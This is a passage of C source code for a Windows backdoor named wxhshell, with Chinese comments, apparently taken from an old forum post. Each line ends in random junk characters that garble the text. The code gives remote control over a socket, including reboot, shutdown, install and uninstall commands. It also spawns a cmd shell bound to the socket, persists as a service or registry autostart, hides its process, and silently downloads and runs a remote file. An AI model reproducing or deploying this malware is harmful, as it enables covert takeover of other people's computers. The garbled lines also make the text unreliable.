    switch(cmd[0]) { Fxwe,  
  '\ec ,&4Z  
  // 帮助  2lw0'  
  case '?': { (r_xs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,]e!OZ[$m  
    break; /M>8ad  
  } 3^kZydZ CN  
  // 安装 7<&CN0&  
  case 'i': { |n-NK&Y(o  
    if(Install()) xmz83Ll9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S[!-M\b  
    else w]w>yD>$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lc;4 Hg  
    break; mVGQyX  
    } jdxwS  
  // 卸载 OZdiM&Zss  
  case 'r': { gf6<`+/  
    if(Uninstall()) D6!`p6r+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HpI[Af}l  
    else mq@2zE`.(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7B GMG|  
    break; @$ E&H`da  
    } aML?$_6  
  // 显示 wxhshell 所在路径 `A O_e4D0i  
  case 'p': { :Mr_/t2(  
    char svExeFile[MAX_PATH]; xk=5q|u_-  
    strcpy(svExeFile,"\n\r"); yRaB\'  
      strcat(svExeFile,ExeFile); T1ZAw'6(K  
        send(wsh,svExeFile,strlen(svExeFile),0); wPTXRq%  
    break; >W[8wR  
    } tiJY$YqA  
  // 重启 >jU.R;H5  
  case 'b': { .L'>1H]B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FJl#NOp&  
    if(Boot(REBOOT)) _ 1[5~Pnh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ON~jt[  
    else { 9J% ~?k  
    closesocket(wsh); @ ]u nqCO  
    ExitThread(0); c%Y%c2([  
    } Ij>IL!  
    break; b`N0lH.V  
    } >pjmVl w?  
  // 关机 >x0"gh  
  case 'd': { 1au1DvH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "\bbe@  
    if(Boot(SHUTDOWN)) I, 9!["^|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8"R; axeD  
    else { LU5e!bP  
    closesocket(wsh); !MoJb#B3^]  
    ExitThread(0); t-gg,ttnA  
    } p b:mw$XQ7  
    break; YX38*Ml+V  
    } dXgj  
  // 获取shell zk8 s?$  
  case 's': { 1euL+zeh  
    CmdShell(wsh); uev$5jlX  
    closesocket(wsh); o9-b!I2  
    ExitThread(0); BE/#=$wPjM  
    break; [r%WVf.#d  
  } qQC<oR  
  // 退出 E,,)?^g  
  case 'x': { tW;?4}JR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }MAvEaUd  
    CloseIt(wsh); v[VUX69  
    break; 7)sEW#d!  
    } K:&FWl.  
  // 离开 Gqvnc8V&  
  case 'q': { |FS,Av  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t?H.M  
    closesocket(wsh); iLf:an*vH  
    WSACleanup(); @D_=M tF<  
    exit(1); C YA#:  
    break; 4G;FpWQm  
        } kylR)  
  } 7:x%^J+  
  } B,?Fjot#m  
uKF?UXc  
  // 提示信息 )2T1g~8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Eyu]0+  
} "TB4w2?=  
  } +-~hl  
BH _y0[y  
  return; pE(\q+1<  
} ^b=]=w  
9B &QY 2v  
// shell模块句柄 S'~Zlv 3`  
int CmdShell(SOCKET sock) (.Tkv Uj`  
{ -#srn1A>  
STARTUPINFO si; [V'3/#Z  
ZeroMemory(&si,sizeof(si)); tpw0j CVu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &>kklP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #;GIvfW  
PROCESS_INFORMATION ProcessInfo; /rp.H'hC  
char cmdline[]="cmd"; Gxk=]5<7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qzy[  
  return 0; ZC+F*:$  
} 6kH47Yc?  
F?=(4Pyvu  
// 自身启动模式 UBoN}iR  
int StartFromService(void) 7e$\|~<  
{ kGhWr M  
typedef struct t/z]KdK P  
{ MIo5Y`T  
  DWORD ExitStatus; sIQd }  
  DWORD PebBaseAddress; hYRGIpu5  
  DWORD AffinityMask; Ql8E9~h  
  DWORD BasePriority; Qp8. D4^@3  
  ULONG UniqueProcessId; q H&7Q{  
  ULONG InheritedFromUniqueProcessId; sXm8KV  
}   PROCESS_BASIC_INFORMATION; -FA]%Pl<'  
M,1Yce%+}  
PROCNTQSIP NtQueryInformationProcess; ])paU8u  
Gw3eO&X3i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Iw(2D(se  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #W`>vd}  
!Irmc*;QE  
  HANDLE             hProcess; 9hG)9X4  
  PROCESS_BASIC_INFORMATION pbi; Sqj'2<~W  
w$Lpuu n{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V&4)B &W  
  if(NULL == hInst ) return 0; z7V74hRPX  
Kl.xe&t@j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .Lz\/ OS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SrzlR)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }Y\Ayl  
;8m_[gfw  
  if (!NtQueryInformationProcess) return 0; +k]9n*^uz  
^luAX }*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (9q61z A  
  if(!hProcess) return 0; H|>dF)%pj  
q)R&npP7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `[\*1GpAo  
NyU~8?bp  
  CloseHandle(hProcess); hPtSY'_@_  
w :2@@)pr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sd?:+\bS;  
if(hProcess==NULL) return 0; \M^L'Mkj  
{`fhcEC  
HMODULE hMod; 1GB$;0 W),  
char procName[255]; krwY_$q  
unsigned long cbNeeded; =1 g  
##VS%&{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g+8{{o=  
F`,XB[}2  
  CloseHandle(hProcess); h,B ]5Of  
`btw*{.[  
if(strstr(procName,"services")) return 1; // 以服务启动 vH_QSx;C#  
nW2 fB8yq  
  return 0; // 注册表启动 _U)BOE0o  
} K~**. NF-n  
D*3\4=6x  
// 主模块 *44^M{ti<  
int StartWxhshell(LPSTR lpCmdLine) l]R O'  
{ 01Bs7@"+  
  SOCKET wsl; q:N"mp<%  
BOOL val=TRUE; u )+;(Vd  
  int port=0; >-rDBk ;K  
  struct sockaddr_in door; )M(;:#le  
c;DWSgIw  
  if(wscfg.ws_autoins) Install(); 'J~{8w,.  
C;2!c  
port=atoi(lpCmdLine); O-- "\4  
aW hhq@  
if(port<=0) port=wscfg.ws_port; Dg~r%F  
gaBt;@?:Q  
  WSADATA data; -;=0dfC(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b0PqP<{t  
9ui_/[K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d U n+?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WCxt-+#  
  door.sin_family = AF_INET; xZAc~~9tD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fy^*@&  
  door.sin_port = htons(port); x,YC/J  
A-<\?13uW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HRO :U%  
closesocket(wsl); 5Z{i't0CQ  
return 1; u'cM}y&  
} [ L% -lJ  
jSVIO v:  
  if(listen(wsl,2) == INVALID_SOCKET) { ]S+NH[g+  
closesocket(wsl); P!yE{_%  
return 1; D?~`L[}I!}  
} 82#7TX4  
  Wxhshell(wsl); 6jjmrc[#}X  
  WSACleanup(); >#).3  
(Qmpz  
return 0; {J3;4p-&  
GkqKIs  
} 9:zW$Gt&  
|x*~PXb  
// 以NT服务方式启动 c6gRXp'ID  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1HYrJb,d  
{ :f (UZmV$  
DWORD   status = 0; b|| c^f  
  DWORD   specificError = 0xfffffff; bmN'{09@  
dWV.5cViP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !mhV$2&r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;w ";s$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [#S[= %  
  serviceStatus.dwWin32ExitCode     = 0; fT1/@  
  serviceStatus.dwServiceSpecificExitCode = 0; <A?- *  
  serviceStatus.dwCheckPoint       = 0; ]5W|^%  
  serviceStatus.dwWaitHint       = 0; +[C(hhk("  
&r s+x<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s0,c4y  
  if (hServiceStatusHandle==0) return; mX))*e4k  
&P 'cf|KI  
status = GetLastError(); c p.c$  
  if (status!=NO_ERROR) iev02 8M  
{ \k\ {S2SU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  GZ.Xx  
    serviceStatus.dwCheckPoint       = 0; 3>X]`Oj7y  
    serviceStatus.dwWaitHint       = 0; kBZnR$Cl  
    serviceStatus.dwWin32ExitCode     = status; %9ef[,WT  
    serviceStatus.dwServiceSpecificExitCode = specificError; KEF"`VTB@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KSsv~!3Yf  
    return; jA@jsv  
  } C}grY5 :  
#&zNYzI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }gw \w?/  
  serviceStatus.dwCheckPoint       = 0; k?-GI[@X  
  serviceStatus.dwWaitHint       = 0; $<R\|_6J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?v8.3EE1\o  
} $g? ]9}p  
:D(4HXHK%  
// 处理NT服务事件,比如:启动、停止 le1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e<wA["^  
{ C-Y~T;53  
switch(fdwControl) @H%)!f]zWt  
{ `)e5pK  
case SERVICE_CONTROL_STOP:  hUy"XXpr  
  serviceStatus.dwWin32ExitCode = 0; 82ay("ZY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HD^Ou5YB  
  serviceStatus.dwCheckPoint   = 0; f5p>oXo4b  
  serviceStatus.dwWaitHint     = 0; Pi|WOE2  
  { ;"/[gFD5u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q/'jw yj_  
  } K,f*}1$qM  
  return; M*ZR+pq,  
case SERVICE_CONTROL_PAUSE: )`;Q]?D   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 98 dl -?  
  break; rN0G|  
case SERVICE_CONTROL_CONTINUE: x'dU[f(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;!H<W[  
  break; R+vago:  
case SERVICE_CONTROL_INTERROGATE: i*-[-hn-V  
  break; ~,j52obR6Z  
}; T](N ^P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }6zo1"  
} G Y??q8  
N<&"_jzm  
// 标准应用程序主函数 >fG=(1"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -3-*T)  
{ h"h3SD~  
B",5"'id  
// 获取操作系统版本 D c5tRO  
OsIsNt=GetOsVer(); >TZ 'V,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~<[$.8*  
byALM  
  // 从命令行安装 H?-Byi  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8:*   
}4'5R  
  // 下载执行文件 8%C7!l q  
if(wscfg.ws_downexe) { S#km`N`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c8uFLM j  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7 YS'Tf  
}  J+hiz3N  
04;E^,V  
if(!OsIsNt) { 4yOYw*X  
// 如果时win9x,隐藏进程并且设置为注册表启动 S$O+p&!X  
HideProc(); l|WdJn o  
StartWxhshell(lpCmdLine); m/ D ~D~  
} %H)^k${  
else `6bIxb{  
  if(StartFromService()) awYnlE/Z1  
  // 以服务方式启动 )\nKr;4MH  
  StartServiceCtrlDispatcher(DispatchTable); ['~E _z  
else >9-$E?Mt  
  // 普通方式启动 l(&3s:Ud  
  StartWxhshell(lpCmdLine); uJxT)m!/  
e@6]rl  
return 0; 5"~F#vt  
}
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只看该作者 1 发表于: 2006-10-10
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